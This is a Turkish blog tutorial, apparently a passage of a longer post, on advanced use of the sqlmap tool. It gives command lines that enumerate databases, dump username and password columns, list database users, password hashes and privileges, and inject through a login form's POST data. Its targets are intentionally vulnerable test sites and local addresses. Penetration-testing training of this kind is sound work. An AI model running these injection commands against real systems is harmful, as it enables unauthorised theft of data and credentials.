23 Ağustos 2019 Cuma

İleri Seviye Sqlmap Kullanımı


Sqlmap, web uygulamalarında SQL Injection tespitini ve bulunan açıkların exploit edilmesini otomatik hale getiren açık kaynak kodlu bir araçtır. Bünyesinde barındırdığı özellikler sayesinde, veri tabanı sunucularının yönetimini ele geçirmekten hedef sunucunun işletim sisteminde komut çalıştırmaya kadar pek çok işlevi yerine getirebilmektedir. Birçok veri tabanı yönetim sistemi için desteği bulunan sqlmap aracını şu bağlantıdan indirebilirsiniz:

Basit Kullanım Örnekleri

İlk olarak, bazı basit parametrelerin kullanımına dair örneklerle başlayalım. Bilindiği üzere en yaygın kullanılan sqlmap parametresi URL’i ifade eden -u ya da --url parametresidir. Aşağıdaki kullanımda da görüldüğü üzere sqlmap’e hedef sitenin URL’ini tanıtır:
sqlmap'te Yaygın Olarak Kullanılan Url Parametresine Örnek
Bu komut sonucunda, eğer taratılmasını istediğimiz URL’de SQL Injection zafiyeti mevcutsa, zafiyetin türü, hangi DBMS (Database Management System)’in kullanıldığı, web uygulama dili ve sunucu versiyonu gibi bazı bilgilere ulaşmamız mümkün olacaktır. Devamında SQL Injection’ın var olduğunu öğrendiğimiz URL vasıtasıyla saldırıya --dbs parametresini ekleyerek mevcut veri tabanlarının listesini ekrana getirebiliriz:
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” --dbs
Veri Tabanı Listesine Ait Çıktılar
Ekran görüntüsünde de görüldüğü üzere mevcut veri tabanlarının listesini elde etmiş olduk. Bundan sonra, sırayla tabloları, kolonları ve kayıtları aşağıdaki parametreleri kullanmamız gerekiyor:
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker --tables
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo --columns
sqlmap -u “http://aspnet.testsparker.com/Products.aspx?pId=4” -D testsparker -T tablo -C kullanici,parola --dump
-D: Bu parametre ile veri tabanı adını belirtmiş olduk.
--tables: Belirttiğimiz veri tabanındaki tablo isimlerini getirmek için bu parametre kullanılır.
-T: Tablo isimleri de alındıktan sonra kolonlarına ulaşılması istenen tablo adı bu parametre ile birlikte yazılır.
--columns: Adı belirtilen tablodaki kolonlar getirilir.
-C: İstenilen kolon adı yazılır.
--dump: Kolonlarda yer alan veriler ekrana yansıtılır.
Tüyo: Tek tire (-) veya çift tire (--) kullanıldığında parametre ile parametrenin aldığı değer arasında boşluk ya da eşittir işaretinden (=) hangisinin kullanılması gerektiğini karıştırıyorsanız tek tireli parametrelerde boşluğun, çift tireli parametrelerde ise değer girilmeden önce eşittir işaretinin kullanıldığını aklınızda tutabilirsiniz.
Not: Herhangi bir database’den veri çekebilmek için sqlmap ile test ettiğimiz uygulamanın veri tabanı kullanıcısının gereken yetkileri haiz olması zorunluluğunu unutmamak gerekir.

Yetki Kontrolü

Yukarıda da belirttiğimiz üzere bazı komutların sonuç verebilmesi için bağlı olduğumuz veri tabanı kullanıcısının gerekli izinlere sahip olması gerekir. Bunların kontrolünü sağlamada kullanabileceğimiz birkaç parametre mevcut. Veri tabanı kullanıcılarını öğrenebilmek için --users parametresini, kullanıcıların parolaları için --passwords parametresini, kullanıcı yetkileri için --privileges parametresini ve kullanıcı rolleri için ise --roles parametresini kullanabiliriz. Hangi kullanıcının yetki ve/veya rollerini öğrenmek istiyorsak o kullanıcı adını -U parametresiyle birlikte eklememiz gerekmektedir. Eklemediğimiz takdirde “current user” yani veri tabanı bağlantısını gerçekleştiren kullanıcının yetki veya rolleri ekrana yansıyacaktır. Son olarak kullanıcının, veri tabanı yöneticisi (DBA) olup olmadığını --is-dba parametresini kullanabilmekteyiz. Dönüt olarak "True" ya da "False" değerini alırız. Bahsettiğimiz parametrelere dair bir örneği ve örneğe ilişkin ekran görüntüsünü aşağıda görmektesiniz:
sqlmap -u http://php.testsparker.com/artist.php?id=2 --risk=3 --level=3 --dbms=mysql --is-dba --users --privileges --roles
Yapılan Örneğin Çıktısına Ait Ekran Görüntüsü
Not: Ekranda yer kaplamaması için tüm çıktılar gösterilmemiştir.

Birden Fazla Hedefi Tarama

Sqlmap’in -m parametresiyle birden fazla URL’in taratılması mümkündür. Örneğin aşağıdaki gibi bir içeriğe sahip linkler.txtdosyasında bulunan URL’ler sqlmap ile taratılabilir:
http://php.testsparker.com/artist.php?id=2
http://aspnet.testsparker.com/blog/what-are-the-advantages-of-bitcoin-62/
http://192.168.1.38/index.php?action=gallery_view&gallery_id=1
http://localhost/index.php?action=test
Bunun için, parametreden sonra dosyanın path’i belirtilir:
sqlmap -m "C:\Users\[USER]\Desktop\linkler.txt"

Bir İstek Dosyası Yükleme

Bu işlemi gerçekleştirebilmek için -r parametresini kullanmak gerekir. Herhangi bir proxy yazılımıyla araya girerek, yaptığımız isteği kopyalıyor ve bir metin dosyasına kaydediyoruz. Örneğin istek.txt adlı dosyaya ait içeriğin aşağıdaki gibi olduğunu varsayalım:
GET http://aspnet.testsparker.com/blog/how-does-bitcoin-work-63/ HTTP/1.1
Host: aspnet.testsparker.com
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: ASP.NET_SessionId=zpuu4rzda5rxued21mwqttd3; TestCookie=Hello
Sqlmap’te kullanım şöyle olacaktır (dosyanın sqlmap dizininde olduğunu farz ediyoruz):
sqlmap -r "istek.txt"
Not: Burada yapılan istekte Rewrite edilmiş bir URL yapısı kullanılmıştır. Konuyla alakalı ayrıntıları yazının ilerleyen bölümlerinde bulabilirsiniz.

POST İsteği Yapma

Sqlmap kullanımı sırasında düşülen yanılgılardan biri, sqlmap ile sadece GET isteği yapılabildiğinin düşünülmesidir. Halbuki sqlmap, GET isteklerinin yanı sıra POST isteğiyle tarama yapmaya da elverişlidir. Bir login ya da arama formunda bulunan SQL Injection açıklarını bulmak ve bunları exploit edebilmek için --data parametresiyle POST isteği yapmak mümkündür.
Aşağıdaki gibi bir giriş panelinde SQL Injection aradığımızı veya bulduğumuzu düşünelim:
Örnek Bir Login Sayfası
Sqlmap’te test etmek için POST bilgisine ihtiyacımız var. Bu bilgiyi, herhangi bir proxy yazılımıyla araya girerek elde edebiliriz. Örnek saldırı şöyle olacaktır:
sqlmap -u "http://192.168.1.37/index.php?action=login" --data="loginname=admin&loginpass=admin&duration=mins30" -p "loginname" --dbms="MySQL"
Burada, SQL Injection aradığımız formun POST bilgisini, hangi parametrenin test edileceğini (-p) ve DBMS bilgisini (--dbms) girdik. POST bilgilerinin sqlmap’e yazılamayacak durumda olduğu bazı durumlarda aynı işlemi istek dosyası yükleme yöntemiyle yapmak da mümkündür. Örneğin şöyle bir POST istek dosyasıyla yapılan atakta kullanacağımız komut biraz değişecektir:
Devamı

0 comentários:

Yorum Gönder